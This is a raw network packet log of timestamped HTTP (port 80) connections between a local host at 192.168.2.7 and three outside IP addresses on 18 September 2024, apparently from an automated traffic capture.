Sep 18, 2024 14:30:08.278434038 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.278453112 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.278470039 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.278641939 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.278654099 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.278666973 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.278688908 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.278718948 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.279489994 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.279504061 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.279511929 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.279542923 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.279550076 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.279583931 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.280319929 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.280333042 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.280344963 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.280395031 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.280395031 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.280410051 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.280422926 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.280435085 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.280448914 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.280464888 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.281255007 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.281266928 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.281280994 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.281291962 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.281311035 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.281311035 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.281323910 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.281327963 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.281346083 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.281373978 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.282586098 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.282608986 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.282620907 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.282644987 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.282677889 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.282748938 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.282761097 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.282773018 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.282793999 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.282812119 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.335762978 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335784912 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335797071 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335808992 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335820913 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335839987 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335853100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335865974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335879087 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335889101 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335901022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335911989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335921049 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.335926056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335937977 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335949898 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335971117 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335974932 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.335984945 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.335997105 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336002111 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336009979 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336019993 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336020947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336035967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336046934 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336046934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336061001 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336074114 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336080074 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336088896 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336100101 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336112976 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336113930 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336128950 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336137056 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336143970 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336158037 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336164951 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336169958 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336184025 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336191893 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336210012 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336237907 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336272001 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336285114 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336296082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336311102 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336313009 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336333036 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336338043 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336345911 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336360931 CEST	80	49703	176.113.115.33	192.168.2.7
Sep 18, 2024 14:30:08.336369038 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336374044 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336386919 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336400032 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336405993 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336415052 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336424112 CEST	49703	80	192.168.2.7	176.113.115.33
Sep 18, 2024 14:30:08.336429119 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336432934 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336442947 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336447954 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336455107 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336467981 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336477995 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336482048 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336508989 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336524010 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336807013 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336819887 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336832047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336846113 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336849928 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336858034 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336867094 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336870909 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336884022 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336894035 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336894989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336909056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336910963 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336922884 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336935997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.336936951 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336977005 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336990118 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.336993933 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337007046 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337019920 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337030888 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337035894 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.337043047 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337054014 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.337057114 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337073088 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337086916 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337091923 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.337097883 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337110996 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337114096 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.337124109 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337138891 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337140083 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.337152958 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337166071 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337177992 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337189913 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337202072 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337213993 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337228060 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337239981 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337239981 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.337255001 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337261915 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337261915 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337261915 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337261915 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337266922 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337274075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.337280989 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337292910 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.337307930 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.337308884 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.337321043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337332010 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337342978 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.337342978 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337357044 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337369919 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337380886 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337382078 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337392092 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337399006 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337403059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337416887 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337420940 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337430000 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337438107 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337439060 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337456942 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337460041 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337470055 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337481976 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337486029 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337493896 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337505102 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337507010 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337518930 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337518930 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337531090 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337546110 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337551117 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337554932 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337565899 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337572098 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337578058 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337590933 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337593079 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337601900 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337611914 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337614059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337620020 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337625980 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337637901 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337650061 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337651968 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337663889 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337677002 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337680101 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337687969 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337687969 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337707043 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337718964 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337719917 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337744951 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337764025 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337898016 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337910891 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337923050 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337934971 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337939024 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337946892 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337958097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337960005 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337966919 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.337971926 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337985039 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337996006 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.337999105 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338011980 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338028908 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338035107 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338042021 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338052034 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338066101 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338067055 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338079929 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338092089 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338100910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338112116 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338125944 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338136911 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338140965 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338150024 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338159084 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338172913 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338174105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338186026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338191032 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338196039 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338207960 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338217020 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338221073 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338232994 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338238001 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338244915 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338255882 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338255882 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338268995 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338269949 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338279963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338291883 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338299990 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338324070 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338548899 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338562012 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338573933 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338586092 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338597059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338603020 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338608980 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338614941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338627100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338638067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338644981 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338651896 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338660955 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.338665962 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338679075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338679075 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.338700056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338700056 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.338715076 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338717937 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.338727951 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338738918 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338746071 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.338752031 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338763952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338773966 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338778019 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338789940 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338799953 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338803053 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338814974 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338824987 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338825941 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338838100 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338843107 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338867903 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338869095 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.338870049 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338881016 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338891983 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.338892937 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.338906050 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338916063 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.338917971 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338937044 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338942051 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.338947058 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338958025 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338959932 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338959932 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338964939 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338977098 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.338988066 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.338989973 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339000940 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339013100 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339013100 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339025974 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339030027 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339037895 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339042902 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.339047909 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.339059114 CEST	80	49706	147.45.44.104	192.168.2.7
